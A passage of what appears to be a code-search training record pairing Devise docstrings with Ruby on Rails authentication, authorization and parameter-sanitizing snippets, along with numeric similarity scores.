"def authorised?\n if current_user.role === 'SUPERVISOR' || current_user.role === 'ENGINEER'\n respond_to do |f|\n f.html { redirect_to root_path, alert: 'You are not authorised to access this page.' }\n end\n end\n end",
"def authenticate\n deny_access unless signed_in? \n end",
"def tiene_permiso?\n if not protect?(action_name)\n return true\n end\n if @session['user'] and autorizado?(@session['user'], controller_name)\n return true\n end\n store_location\n access_denied\n return false\n end",
"def authenticate\n\t logged_in? ? true : access_denied\n\tend",
"def protect\n unless logged_in?\n session[:protected_page] = request.request_uri\n flash[:notice] = \"Please log in first\"\n redirect_to :action => \"login\"\n return false\n end\n end",
"def active_for_authentication? \n \tsuper && approved?\n \t\n\tend",
"def active_for_authentication?\n super && self.enabled? && self.is_allowed_in?\n end",
"def authorize_access\n redirect_to admin_sites_url unless @site || current_user.admin?\n end",
"def protect\n unless logged_in?\n session[:protected_page] = request.request_uri\n flash[:notice] = \"Please log in first\"\n redirect_to :controller => \"user\", :action => \"login\"\n return false\n end\n end",
"def protect\n unless logged_in?\n session[:protected_page] = request.request_uri\n flash[:notice] = \"Please log in first\"\n redirect_to :controller => \"user\", :action => \"login\"\n return false\n end\n end",
"def access_control\n \n end",
"def check_permission\n permit \"site_admin\",\n { :login_required_message => I18n.t(\"authorization.login_required_msg\"),\n :permission_denied_message => I18n.t(\"authorization.permission_denied_msg\") }\n end",
"def warden_options\n env['warden.options']\n end",
"def authorization_mode; end",
"def authenticate_admin\n unless current_user.admin?\n redirect_to site_path, alert: 'You do not have permission to access that page.' and return\n end\n end",
"def check_authorization!\n #check_current_user!\n #authorized = current_user.present? && valid_organisation_date?\n\n # TODO check due_date\n if !current_user\n flash[:alert] = \"Por favor ingrese.\"\n redirect_to new_session_url(subdomain: 'app') and return\n elsif !current_user.present?# || current_organisation.dued_with_extension? || !authorized_user?\n redir = request.referer.present? ? :back : home_path\n\n if request.xhr?\n render text: '<div class=\"alert alert-warning flash\"><h4 class=\"n\">Usted no tiene los privilegios para ver esta página</h4><div>'\n else\n flash[:alert] = \"Usted ha sido redireccionado por que no tiene suficientes privilegios.\"\n redirect_to redir and return\n end\n end\n end",
"def authorized?\n if !@extra_page.editable_by? current_user, current_cookbook\n redirect_to sections_path, alert: \"You are not allowed to edit this extra page.\"\n end\n end",
"def customize_authorized?\n authorized_for?(:action => :read)\n end",
"def show\n authorize Session\n end",
"def authenticate_from_warden\n warden = env[\"warden\"]\n return unless warden\n\n env[\"warden\"].authenticate(scope: \"user\")\n end",
"def needs_authenticate_user?\n except_actions = %w[index show]\n !except_actions.include?(action_name)\n end",
"def capable_login_auth?; end"
] | [
"0.67927015",
"0.65254724",
"0.64046264",
"0.62075865",
"0.6205795",
"0.6192272",
"0.61471504",
"0.60884804",
"0.6083158",
"0.60477567",
"0.6025135",
"0.60043305",
"0.5974223",
"0.59658515",
"0.59658515",
"0.59658515",
"0.5954233",
"0.5923302",
"0.59110546",
"0.59047437",
"0.5900272",
"0.5896129",
"0.5889818",
"0.5889369",
"0.5889369",
"0.5884383",
"0.5870065",
"0.5866061",
"0.5864581",
"0.5859628",
"0.58534336",
"0.58534336",
"0.5852424",
"0.58504725",
"0.5844333",
"0.58433276",
"0.5843201",
"0.58429563",
"0.58415717",
"0.58374",
"0.5836828",
"0.58362913",
"0.5835422",
"0.5824454",
"0.58032",
"0.57974696",
"0.5795377",
"0.5795377",
"0.57868135",
"0.57867837",
"0.57859683",
"0.577679",
"0.5774447",
"0.5774447",
"0.5772341",
"0.5762569",
"0.57599443",
"0.57599443",
"0.57599443",
"0.57599443",
"0.57550627",
"0.5754233",
"0.57538646",
"0.57533604",
"0.5748276",
"0.57477456",
"0.57409704",
"0.57275736",
"0.57227373",
"0.57176495",
"0.57176495",
"0.57176495",
"0.57176495",
"0.57049805",
"0.5703254",
"0.5700714",
"0.56996655",
"0.56942374",
"0.56924075",
"0.5692254",
"0.5690655",
"0.5690626",
"0.5684584",
"0.5671945",
"0.5666031",
"0.5662594",
"0.5660507",
"0.5660507",
"0.5659733",
"0.5659235",
"0.56583375",
"0.56580454",
"0.56505316",
"0.5646731",
"0.56442946",
"0.56395936",
"0.5637442",
"0.56371355",
"0.56293577",
"0.56277376"
] | 0.7107103 | 0 |
Return true if it's a devise_controller. false to all controllers unless the controllers defined inside devise. Useful if you want to apply a before filter to all controllers, except the ones in devise: before_action :my_filter, unless: :devise_controller? | def devise_controller?; end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def is_authorized\n controller = params[:controller].classify\n exception = controller.split(':').first\n if exception.include? 'User'\n exception = controller.split(':').last\n devise_controller = controller.split(':').first\n end\n\n unless Rails.configuration.x.controller_exceptions.include? exception\n return true if current_user.god?\n if devise_controller\n authorize_with devise_controller.classify.constantize, params[:action].to_s, controller\n else\n begin\n authorize_with controller.classify.constantize\n rescue\n authorize_with controller.singularize.to_sym\n end\n end\n end\n end",
"def except_controller?\n except_controllers = [DeviseController, HomeController, \n GoalsController, RailsAdmin::MainController,\n SubscribersController, ChartsController,\n ExportController, StudentsController, InvitationsController,\n OauthClientsController, OauthController]\n\n except_controllers.each do |class_controller|\n return true if self.is_a?(class_controller)\n end\n return false\n end",
"def skip_pundit?\n devise_controller? || params[:controller] =~ /(^(rails_)?admin)|(^pages$)/\n end",
"def skip_pundit?\n devise_controller?\n end",
"def do_not_check_authorization?\n respond_to?(:devise_controller?) ||\n respond_to?(:home_controller?)\n end",
"def protected_controllers?(*controllers)\n controller = params[:controller]\n return true if controller == \"auth/registrations\" || controller == \"auth/sessions\"\n controllers.each { |c| return true if c == controller }\n false\n end",
"def admin_controller?\n !devise_controller? && request.path =~ /^\\/admin/\n end",
"def access_required?\n user_signed_in? &&\n !devise_controller? &&\n !%w(\n subscriptions\n accounts\n ).include?(controller_name)\n end",
"def allowed?\n true\n # AccessControl.allowed_controllers(current_user.profile.label, current_user.profile.modules).include?(params[:controller])\n end",
"def auth_controller?\n false\n end",
"def disable_devise_for_cloudfuji_controllers!\n puts \"Disabling devise auth protection on cloudfuji controllers\"\n\n ::Cloudfuji::DataController.instance_eval { before_filter :authenticate_user!, :except => [:index] }\n ::Cloudfuji::EnvsController.instance_eval { before_filter :authenticate_user!, :except => [:update] }\n ::Cloudfuji::MailController.instance_eval { before_filter :authenticate_user!, :except => [:index] }\n\n puts \"Devise checks disabled for Cloudfuji controllers\"\n end",
"def controller_permitted?(controller_name)\n allowed_controllers.include?(controller_name)\n end",
"def permission_for?(controller)\n permissions.where(:controller => controller).present?\n end",
"def is_controller?; false; end",
"def koudoku_controller?\n is_a? Koudoku::ApplicationController\n end",
"def skip_authentication?\n devise_controller? ||\n (%w[update_cart empty_cart terms_of_service]\n .include?(params[:action]) && !guests_disabled?)\n end",
"def activated?\n !controller.nil?\n end",
"def skip_validation?\n devise_controller? || welcome_controller? || appointment_path?\n end",
"def show_profile?\n if controller.controller_name == 'hackers'\n true\n else\n false\n end\n end",
"def is_data_controller?\n @is_data_controller\n end",
"def current_user_can_view?(my_controller)\n my_controller.to_s.gsub!('Controller', '')\n my_controller = my_controller.demodulize\n if not current_user.nil?\n if current_user.role.is_super_admin || CONTROLLERS_ALLOWED.include?(my_controller)\n return true\n else\n # TODO: improvement needed. Store in a multidimensional array.\n rc = RoleController.find(:first, :conditions => {:role_id => current_user.role_id, :controller => my_controller})\n return (not rc.nil? and rc.can_view)\n end\n else\n return false\n end\n end",
"def not_protected (controller_name, action_name)\n if (!['users'].include? controller_name)\n return false\n end \n\n if (!['create', 'new', 'index'].include? action_name)\n return false\n end\n\n return true\n end",
"def controller?(*controller)\n controller.include?(params[:controller])\n end",
"def controller?(*controller)\n controller.include?(params[:controller])\n end",
"def controller?(name)\n controller.controller_name == name.to_s\n end",
"def stripe_invoice_controller? \n is_a? StripeInvoice::ApplicationController\n end",
"def depricated_page?\n b = false\n DEPRICATED_PAGES_WITHOUT_CHECK_ACCOUNT.each do |page|\n b = true if controller_name == page[0] && action_name == page[1]\n end\n b\n end",
"def sidebar_enabled?\n current_page = \"#{controller.controller_name}.#{controller.action_name}\"\n current_controller = controller.controller_name\n pages = %w(report_templates.new report_templates.edit )\n\n return pages.include?(current_page) || pages.include?(current_controller)\n end",
"def notification_action_cable_with_devise?\n resolve_value(_notification_action_cable_with_devise)\n end",
"def before_filter\n if current_user\n true\n end\n end",
"def is_a_model_and_controller?\n !!controller\n end",
"def authorized? (controller, action, resource = nil)\n #only check if user has controller name present in database access array\n if resource.nil && @authorized_actions[[controller.to_s,action.to_s]]\n true\n elsif has_rights_to?(controller) \n evaluate?(controller, action, resource)\n else\n #return false if controller not present in array\n false\n end\n end",
"def registered?\n controller.registered?\n end",
"def sidebar_enabled?\n\t\tcurrent_page = \"#{controller.controller_name}.#{controller.action_name}\"\n\t\tcurrent_controller = controller.controller_name\n\t\tpages = %w()\n\n\t\treturn pages.include?(current_page) || pages.include?(current_controller)\n\tend",
"def authorization_filter\n unless controller_name == 'dashboard' || authorized?\n respond_to do |wants|\n wants.html { redirect_to '/' }\n wants.js { render :nothing => true}\n end\n return false\n end\n end",
"def authorization_filter\n unless controller_name == 'dashboard' || authorized?\n respond_to do |wants|\n wants.html { redirect_to '/' }\n wants.js { render :nothing => true}\n end\n return false\n end\n end",
"def current_controller?(names)\n names.include?(current_controller)\n end",
"def is_task_controller?\n @is_task_controller\n end",
"def admin_only_mode\n unless current_user.try(:admin?)\n unless params[:controller] == \"visitors\" || params[:controller] == \"registrations\" || params[:controller] == \"devise/sessions\"\n redirect_to :controller => \"visitors\", :action => \"restricted\", :alert => \"Admin only mode activated.\"\n flash[:notice] = \"Admin only mode activated. You need to be an admin to make changes.\"\n end\n\n if params[:controller] == \"visitors\" && params[:action] == \"index\"\n redirect_to :controller => \"visitors\", :action => \"restricted\", :alert => \"Admin only mode activated.\"\n flash[:notice] = \"Admin only mode activated. You need to be an admin to make changes.\"\n end\n end\n\n puts params\n puts params[:controller] == \"devise/sessions\"\n end",
"def registered?(controller)\n storage.key?(controller)\n end",
"def allowed_controllers\n permissions.map{|permission| self.class.controller_name_from_permission(permission) }.compact\n end",
"def anybody_signed_in?\n Devise.mappings.keys.any? { |scope| signed_in?(scope) }\n end",
"def unauthenticated_action?(controller, action)\n controller == \"users\" && action == \"create\"\n end",
"def has_controller_for?(entity)\n raise 'unknown entity in battle' unless @entities.key?(entity)\n\n @entities[entity][:controller] != :manual\n end",
"def permitted?\n appctrl_not_permitted() if ( @current_user.restricted? )\n end",
"def current_controller?(*args)\n false if controller.class.name.include?('::')\n\n args.any? { |v| v.to_s.downcase == controller.controller_name }\n end",
"def registered?(controller)\n storage.key?(controller)\n end",
"def registered?(controller)\n storage.key?(controller)\n end",
"def castle_filter\n return unless resource_class.castle_hooks[:before_registration]\n\n response = CastleDevise.sdk_facade.filter(\n event: \"$registration\",\n context: CastleDevise::Context.from_rack_env(request.env, resource_name)\n )\n\n return if CastleDevise.monitoring_mode?\n\n case response.dig(:policy, :action)\n when \"deny\"\n set_flash_message!(:alert, \"blocked_by_castle\")\n flash.alert = \"Account cannot be created at this moment. Please try again later.\"\n redirect_to new_session_path(resource_name)\n false\n else\n # everything fine, continue\n end\n rescue Castle::InvalidParametersError\n # TODO: We should act differently if the error is about missing/invalid request token\n # compared to any other validation errors. However, we can't do this with the\n # current Castle SDK as it doesn't give us any way to differentiate these two cases.\n CastleDevise.logger.warn(\n \"[CastleDevise] /v1/filter request contained invalid parameters.\" \\\n \" This might mean that either you didn't configure Castle's Javascript properly, or\" \\\n \" a request has been made without Javascript (eg. cURL/bot).\" \\\n \" Such a request is treated as if Castle responded with a 'deny' action in\" \\\n \" non-monitoring mode.\"\n )\n\n unless CastleDevise.monitoring_mode?\n set_flash_message!(:alert, \"blocked_by_castle\")\n redirect_to new_session_path(resource_name)\n false\n end\n rescue Castle::Error => e\n # log API errors and allow\n CastleDevise.logger.error(\"[CastleDevise] filter($registration): #{e}\")\n end",
"def is_controller_action?(controller, action)\n controller == controller_name && action == action_name\n end",
"def is_entry_controller_active?(entry)\n entry[\"controller\"].gsub(/\\A\\//, \"\") == params[:controller] ||\n entry.fetch(\"nested_controllers\", []).include?(params[:controller])\n end",
"def current_controller?(path)\n \"/#{controller_name}\" == path\n end",
"def current_controller?(path)\n \"/#{controller_name}\" == path\n end",
"def current_controller?(*args)\n args.any? do |v|\n v.to_s.downcase == controller.controller_name || v.to_s.downcase == controller.controller_path\n end\n end",
"def current_controller?(*args)\n args.any? do |v|\n v.to_s.downcase == controller.controller_name || v.to_s.downcase == controller.controller_path\n end\n end",
"def rails_admin_controller?\n self.class.name =~ /RailsAdmin/\n end",
"def is_allowed?(controller=params[:controller], action=params[:action], id=params[:id])\n case controller\n when \"admin\"\n return is_admin?\n \n when \"user\"\n case action\n when \"register\"\n return !logged_in?\n when \"login\"\n return !logged_in?\n when \"logout\"\n return logged_in?\n when \"show\", \"edit\"\n return ((is_admin?) || (current_user == id))\n when \"list\", \"index\"\n return logged_in?\n when \"pay\"\n return is_beta?\n end\n \n when \"country\", \"grape\", \"apptype\", \"appellation\" #basic ERD viewable to all\n case action \n when \"delete\", \"edit\", \"new\"\n return ((is_admin? || is_full? || is_pro?))\n else\n return true\n end\n \n when \"wine\" #basic ERD viewable ONLY to members\n case action\n when \"index\", \"list\"\n return true\n when \"delete\"\n return is_admin?\n when \"edit\"\n return (is_admin? || is_full? || is_pro?)\n else\n return logged_in?\n end\n \n when \"bottle\" # these two will get more complicated w/ friendship model\n return false unless logged_in?\n if is_free?\n return false\n end\n case action\n when \"index\", \"list\"\n return (is_admin? || is_full?)\n else\n return (is_my_bottle? || is_admin?)\n end\n\n when \"tastingnote\"\n return false unless logged_in?\n case action\n when \"index\", \"list\"\n return (is_admin? || is_full?)\n when \"new_w\"\n return logged_in?\n when \"new_b\"\n return (is_full? && is_my_bottle?(id)) \n else\n return (is_my_tnote? || is_admin?)\n end\n \n else # catch-all\n return is_admin?\n end\n\n end",
"def authenticated_with_devise?(current_resource)\n devise_resource = notification_devise_resource\n unless current_resource.blank? or current_resource.is_a? devise_resource.class\n raise TypeError,\n \"Different type of current resource #{current_resource.class} \"\\\n \"with devise resource #{devise_resource.class} has been passed to #{self.class}##{__method__}. \"\\\n \"You have to override #{self.class}##{__method__} method or set devise_resource in acts_as_target.\"\n end\n current_resource.present? && current_resource == devise_resource\n end",
"def allowed?(navigation)\n controller.respond_to?(navigation.authorization_method) && controller.send(navigation.authorization_method)\n end",
"def web?\n layer_finder.controller != nil\n end",
"def valid?\n controller_class = begin\n controller_name.constantize\n rescue NameError\n return false\n end\n controller_class.lambda_functions.include?(action_name.to_sym)\n end",
"def check_session\n unless (params[:controller] == \"devise/sessions\" || \n params[:controller] == \"devise_invitable/registrations\" || \n params[:controller] == \"devise/invitations\" ||\n params[:controller] == \"devise/confirmations\" ||\n params[:controller] == \"devise/passwords\")\n unless user_signed_in?\n redirect_to root_path\n flash[:error] = \"You need to sign in to access\"\n return\n end\n end\n end",
"def rails_admin_controller?\n (self.class.to_s =~ /RailsAdmin::/) == 0 # rubocop:disable Style/NumericPredicate\n end",
"def current_controller?(*args)\n args.any? { |v| v.to_s.downcase == controller.controller_path }\n end",
"def filter_user_is_registered\n unless( user_is_registered)\n redirect_to_login\n end\n end",
"def permit?(controller, action)\n target_action = controller + '#' + action\n if self.permissions.include?(target_action)\n true\n else\n false\n end\n end",
"def authorized?\n\n return false unless current_user\n\n %w{ show index }.include?(action_name) || current_user.is_admin?\n end",
"def includes_action?(controller, action)\n value = self.controllers.collect(&:to_s).include?(controller.to_s)\n return value if value\n\n (self.other_actions || []).each do |act|\n value ||= (act[:controller] == controller && act[:action] == action)\n end\n\n return value\n end",
"def authorize_controller!\n authorize! action_name.to_sym, full_controller_name\n end",
"def implementation_controller_defined?(parent_class = Module)\n return false unless full_implementation_controller_name\n\n # Check that the class is defined\n klass = parent_class.const_get(full_implementation_controller_name)\n klass.is_a?(Class)\n rescue NameError\n false\n end",
"def in_beast?\n controller.is_a?(AbstractBeastController)\n end",
"def active?(controller)\n if (settings = controller.send(:cookies)['road_crew_engine_settings'])\n return false if JSON.parse(settings)[controller.class.parent.name] == '0'\n end\n controller.instance_eval(&@active_if)\n end",
"def admin_view?\n params[:controller] =~ /admin/ and admin?\n end",
"def admin_view?\n params[:controller] =~ /admin/ and admin?\n end",
"def current_controller(cntrl)\n true if controller.controller_name.eql?(cntrl)\n end",
"def permitted?\n appctrl_not_permitted() unless( @current_user.privileged? )\n end",
"def needs_authenticate_user?\n except_actions = %w[index show]\n !except_actions.include?(action_name)\n end",
"def permitted?\n appctrl_not_permitted() unless ( @current_user.privileged? )\n end",
"def card_page?\n current_act = params[:action]\n current_ctrl = params[:controller]\n dashboard_ctrl = (current_ctrl == 'dashboard')\n professional_card_act = (current_ctrl == 'professionals' && current_act != 'index')\n !(dashboard_ctrl || professional_card_act)\n end",
"def may?(controller_constant,action_name,params={})\n HESControllerMixins.authorize_action(controller_constant,action_name,self,self.promotion,params)\n end",
"def active?(controller)\n 'active' if controller_name == controller.to_s\n end",
"def check_authentication\n case self.controller_name\n when /^clients/i, /^ingredients/i, /^orders/i, /^pages/i, /^productpresentations/i, /^products/i, /^companies/i\n authenticate\n end\n end",
"def registered?(controller_name)\n @items.key?(controller_name)\n end",
"def authorized?(resource)\n return false unless self.active\n # return true if role_authorized?('superuser') \n #OPTIMIZE: DO WE WANT THIS? It causes you to have access to all departments in all controllers, no matter what your permissions are.\n \n # return permission_strings.include?(resource) #reduced performance\n return permission_strings_cached.include?(resource) #causes caching bug\n end",
"def is_active(controller)\n params[:controller] == controller ? \"active\" : nil\n end",
"def controller_action_defined?(controller, action)\n controller_obj = \"#{controller}_controller\".camelize.constantize.new\n controller_obj.respond_to? action.to_s\n end",
"def controller_action_defined?(controller, action)\n controller_obj = \"#{controller}_controller\".camelize.constantize.new\n controller_obj.respond_to? action.to_s\n end",
"def current_controller?(url, controllers=nil)\n # first check for special case of site index\n return true if url == site_index_path and controller_name == \"site\"\n \n # if a url string was passed, check against controller, else assume an array of controller names was passed so check the list\n if controllers\n return controllers.include?(controller_name) \n else\n return url && (url.split('/')[1] == controller_name)\n end\n end",
"def authorized?\n\n current_user && current_user.is_admin?\n end",
"def is_authorized\n (!current_user.nil? and auth_types.include? current_user.user_attributes[:bor_type])\n end",
"def permitted?\n klass = self.controller_name.classify.constantize\n object = instance_variable_get(\"@#{self.controller_name.singularize}\")\n\n case params[:action]\n when \"index\"\n klass.readable_by?(current_user, @context)\n when \"show\"\n object && object.readable_by?(current_user)\n when \"new\", \"create\"\n klass.creatable_by?(current_user, @context)\n when \"edit\", \"update\"\n object && object.updatable_by?(current_user)\n when \"destroy\"\n object && object.deletable_by?(current_user)\n end\n end",
"def welcome_controller?\n # Discuss\n params[:controller] == 'welcome' ? true : false\n end",
"def is_dashboard?\n #params[:controller] == 'care_circles'\n #params[:care_circle_id] || (params[:controller] == \"care_circles\")\n params[:controller] == \"care_circles\"\n end",
"def http_header_security_filter?\n e = @doc.xpath(\"/web-app/filter[filter-class='#{HTTP_HDR_SEC_FILTER_JAVA_CLASS}']\")\n !e.empty?\n end",
"def user_enabled\n redirected = false\n if ((producer_signed_in? && current_producer.enabled == false) || (customer_signed_in? && current_customer.enabled==false)) && redirected == false\n redirected = true\n render 'producers/not_allowed'\n end\n false\n end",
"def authorized?\n if super\n redirect_to(select_people_path) if current_user.person.nil?\n true\n else\n false\n end\n end",
"def needs_authenticate_user?\n except_actions = %w[index show print]\n !except_actions.include?(action_name)\n end",
"def require_no_user(options = {})\n self.before_filter options do |controller|\n controller.send(:require_no_user)\n end\n end",
"def identification_required?\n !(controller_name == \"championships\" && action_name == \"show\")\n end",
"def storable_location?\n request.get? &&\n is_navigational_format? &&\n !devise_controller? &&\n !is_a?(LoginController) &&\n !request.xhr?\n end"
] | [
"0.7594558",
"0.75755465",
"0.7440443",
"0.7112752",
"0.6905673",
"0.6874579",
"0.6857997",
"0.6641186",
"0.66015667",
"0.65371805",
"0.647392",
"0.6417568",
"0.6197548",
"0.6125058",
"0.61115146",
"0.6106995",
"0.6102223",
"0.61004406",
"0.60591424",
"0.60199547",
"0.6017268",
"0.6005491",
"0.59513545",
"0.59513545",
"0.5895135",
"0.58557993",
"0.5806488",
"0.5757521",
"0.5733712",
"0.57231814",
"0.57176286",
"0.5696002",
"0.5689706",
"0.56847125",
"0.5681441",
"0.5681441",
"0.5659782",
"0.5652599",
"0.5632435",
"0.56019324",
"0.55864",
"0.55849475",
"0.55840605",
"0.5584024",
"0.55622965",
"0.5561014",
"0.5555301",
"0.5555301",
"0.55507183",
"0.55416775",
"0.5534579",
"0.5528936",
"0.5528936",
"0.55180395",
"0.55180395",
"0.5518025",
"0.5489315",
"0.54855114",
"0.54842067",
"0.5475122",
"0.54748744",
"0.54649574",
"0.5457339",
"0.54508126",
"0.5445919",
"0.5445328",
"0.5441332",
"0.54197603",
"0.5419662",
"0.5380832",
"0.53693783",
"0.5355577",
"0.5350531",
"0.5350531",
"0.5345531",
"0.5337423",
"0.53367996",
"0.5315569",
"0.53000116",
"0.5288369",
"0.5285263",
"0.527215",
"0.5267482",
"0.52575654",
"0.5255926",
"0.5245491",
"0.5245491",
"0.5235635",
"0.52333033",
"0.5225387",
"0.5217883",
"0.5211066",
"0.5206037",
"0.51970273",
"0.5194292",
"0.5192114",
"0.51606387",
"0.51602066",
"0.5149361",
"0.51447636"
] | 0.64079183 | 12 |
Set up a param sanitizer to filter parameters using strong_parameters. See lib/devise/parameter_sanitizer.rb for more info. Override this method in your application controller to use your own parameter sanitizer. source://devise//lib/devise/controllers/helpers.rb158 | def devise_parameter_sanitizer; end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def devise_parameter_sanitizer\n if resource_class == User\n User::ParameterSanitizer.new(User, :user, params)\n else\n super\n end\n end",
"def devise_parameter_sanitizer\n if resource_class == User\n User::ParameterSanitizer.new(User, :user, params)\n else\n super\n end\n end",
"def devise_parameter_sanitizer\n if resource_class == Host\n Host::ParameterSanitizer.new(Host, :host, params)\n else\n ParameterSanitizer.new(User, :user, params)\n # super # Use the default one\n end\n end",
"def sanitize_parameters!(sanitizer, params)\n # replace :readwrite with :onlyif\n if params.has_key?(:readwrite)\n warn \":readwrite is deprecated. Replacing with :onlyif\"\n params[:onlyif] = params.delete(:readwrite)\n end\n\n # add default parameters\n bindata_default_parameters.each do |k,v|\n params[k] = v unless params.has_key?(k)\n end\n\n # ensure mandatory parameters exist\n bindata_mandatory_parameters.each do |prm|\n if not params.has_key?(prm)\n raise ArgumentError, \"parameter ':#{prm}' must be specified \" +\n \"in #{self}\"\n end\n end\n\n # ensure mutual exclusion\n bindata_mutually_exclusive_parameters.each do |param1, param2|\n if params.has_key?(param1) and params.has_key?(param2)\n raise ArgumentError, \"params #{param1} and #{param2} \" +\n \"are mutually exclusive\"\n end\n end\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def sanitize(options={})\n ActionController::Base.helpers.sanitize(self, options)\n end",
"def cancan_parameter_sanitizer\n resource = controller_name.singularize.to_sym\n method = \"#{resource}_params\"\n params[resource] &&= send(method) if respond_to?(method, true)\n end",
"def sanitizer\n if options = sanitization\n @sanitizer ||= options.to_sanitize\n end\n end",
"def sanitize_params(params = params)\n params = walk_hash(params) if params\n end",
"def sanitize_params(params = params)\n params = walk_hash(params) if params\n end",
"def full_sanitizer=(_arg0); end",
"def full_sanitizer=(_arg0); end",
"def full_sanitizer=(_arg0); end",
"def sanitize_parameters!(sanitizer, params)\n # possibly override endian\n endian = params[:endian]\n if endian != nil\n unless [:little, :big].include?(endian)\n raise ArgumentError, \"unknown value for endian '#{endian}'\"\n end\n\n params[:endian] = endian\n end\n\n if params.has_key?(:fields)\n sanitizer.with_endian(endian) do\n # ensure names of fields are strings and that params is sanitized\n all_fields = params[:fields].collect do |ftype, fname, fparams|\n fname = fname.to_s\n klass = sanitizer.lookup_klass(ftype)\n sanitized_fparams = sanitizer.sanitize_params(klass, fparams)\n [klass, fname, sanitized_fparams]\n end\n params[:fields] = all_fields\n end\n\n # now params are sanitized, check that parameter names are okay\n field_names = []\n instance_methods = self.instance_methods\n reserved_names = RESERVED\n\n params[:fields].each do |fklass, fname, fparams|\n\n # check that name doesn't shadow an existing method\n if instance_methods.include?(fname)\n raise NameError.new(\"Rename field '#{fname}' in #{self}, \" +\n \"as it shadows an existing method.\", fname)\n end\n\n # check that name isn't reserved\n if reserved_names.include?(fname)\n raise NameError.new(\"Rename field '#{fname}' in #{self}, \" +\n \"as it is a reserved name.\", fname)\n end\n\n # check for multiple definitions\n if field_names.include?(fname)\n raise NameError.new(\"field '#{fname}' in #{self}, \" +\n \"is defined multiple times.\", fname)\n end\n\n field_names << fname\n end\n\n # collect all hidden names that correspond to a field name\n hide = []\n if params.has_key?(:hide)\n hidden = (params[:hide] || []).collect { |h| h.to_s }\n all_field_names = params[:fields].collect { |k,n,p| n }\n hide = hidden & all_field_names\n end\n params[:hide] = hide\n end\n\n super(sanitizer, params)\n end",
"def sanitize!; end",
"def sanitize_params_for user, params, allowed_params\n params.each do |key, val|\n #if allowed_params.include?(key)\n #sanitize!(user, params, key) if key =~ /_attributes|_ids$/\n #else\n #params.delete(key)\n #end\n params.delete(key) unless allowed_params.include?(key.to_sym)\n end\n end",
"def validate_and_sanitize\n super\n end",
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def to_sanitize\n Sanitize.new(to_hash)\n end",
"def cleaner\n @@config ||= begin\n {\n :elements => ::ActionView::Base.sanitized_allowed_tags.to_a,\n :attributes => { :all => ::ActionView::Base.sanitized_allowed_attributes.to_a},\n :protocols => { :all => ::ActionView::Base.sanitized_allowed_protocols.to_a }\n }\n rescue\n warn \"ActionView not available, falling back to Sanitize's BASIC config\"\n ::Sanitize::Config::BASIC\n end\n @sanitizer ||= ::Sanitize.new(@@config)\n end",
"def update_sanitized_params\n\t\t\tdevise_parameter_sanitizer.for(:sign_up) {|u| u.permit(:name, :email, :password, :password_confirmation)}\n\t\tend",
"def sign_up_params\n devise_parameter_sanitizer.sanitize(:sign_up)\n end",
"def sanitize_params\n if valid_lease?\n sanitize_lease_params\n elsif valid_embargo?\n sanitize_embargo_params\n elsif !wants_lease? && !wants_embargo?\n sanitize_unrestricted_params\n else\n @attributes\n end\n end",
"def update_sanitized_params\n devise_parameter_sanitizer.for(:sign_up) {|u| u.permit(:email, :password, :password_confirmation, :phone)}\n devise_parameter_sanitizer.for(:account_update) {|u| u.permit(:email, :password, :password_confirmation, :phone)}\n end",
"def sanitize!(request)\n [ :path, :query, :body ].each do |name|\n send(\"#{name}_parameters\").sanitize_object!(request.params)\n end\n end",
"def update_sanitized_params\n devise_parameter_sanitizer.for(:sign_up) {|u| u.permit(:password_confirmation ,:password ,:email, :role, :avatar, :avatar_cache, :remove_avatar, :invite_code, :firstname, :lastname)}\n end",
"def sanitize(context,input)\n whitelist(input,Owasp::Esapi::Ecnoder::CHAR_ALPHANUMERIC)\n end",
"def sanitization\n if @sanitization.nil?\n @sanitization = Sanitization.new\n end\n @sanitization\n end",
"def sanitize_attrs(attrs = {}, permitted = [])\n sanitized = {}\n attrs.each do |key, value|\n sanitized[key.to_s] = value if permitted.include?(key.to_s)\n end\n sanitized\n end",
"def validate_and_sanitize\n validate\n end",
"def update_sanitized_params\n\t\tdevise_parameter_sanitizer.for(:sign_up) \t\t\t\t{ |u| u.permit(:name, :email, :password, :password_confirmation, :company, :role_type, :celp_no, :approval, :authorize) }\n\t\tdevise_parameter_sanitizer.for(:account_update) { |u| u.permit(:name, :email, :password, :password_confirmation, :current_password, :company, :role_type, :celp_no, :approval, :authorize) }\n\tend",
"def validate_and_sanitize\n\n r = validate\n return r unless r.success?\n\n r = validate_and_sanitize_params\n return r unless r.success?\n\n success\n end",
"def sanitize_data\n sanitize_permalink\n sanitize_name\n end",
"def secure_params\n return @secure_params if @secure_params\n\n @implementation_class = implementation_class\n resname = @implementation_class.name.ns_underscore.gsub('__', '_').singularize.to_sym\n @secure_params = params.require(resname).permit(*permitted_params)\n end",
"def sanitized_params\n document = resource_params[:document]\n\n if document.present?\n document = document.gsub(/\\D/,'')\n old_params = resource_params\n resource_params = ActionController::Parameters.new(document: document, email: old_params[:email])\n #resource.document = document if resource\n end\n end",
"def sanitization_whitelist\n whitelist = HTML::Pipeline::SanitizationFilter::WHITELIST\n whitelist[:attributes][:all].push('class', 'id')\n whitelist[:elements].push('span')\n\n fix_anchors = lambda do |env|\n name, node = env[:node_name], env[:node]\n if name == 'a'\n node.remove_attribute('rel')\n if node['href'] && node['href'].match('javascript:')\n node.remove_attribute('href')\n end\n end\n end\n\n whitelist[:transformers].push(fix_anchors)\n\n whitelist\n end",
"def sanitize_data\n sanitize_name\n sanitize_city\n sanitize_zip_code\n sanitize_address\n end",
"def sanitize_data\n sanitize_name\n sanitize_city\n sanitize_zip_code\n sanitize_address\n end",
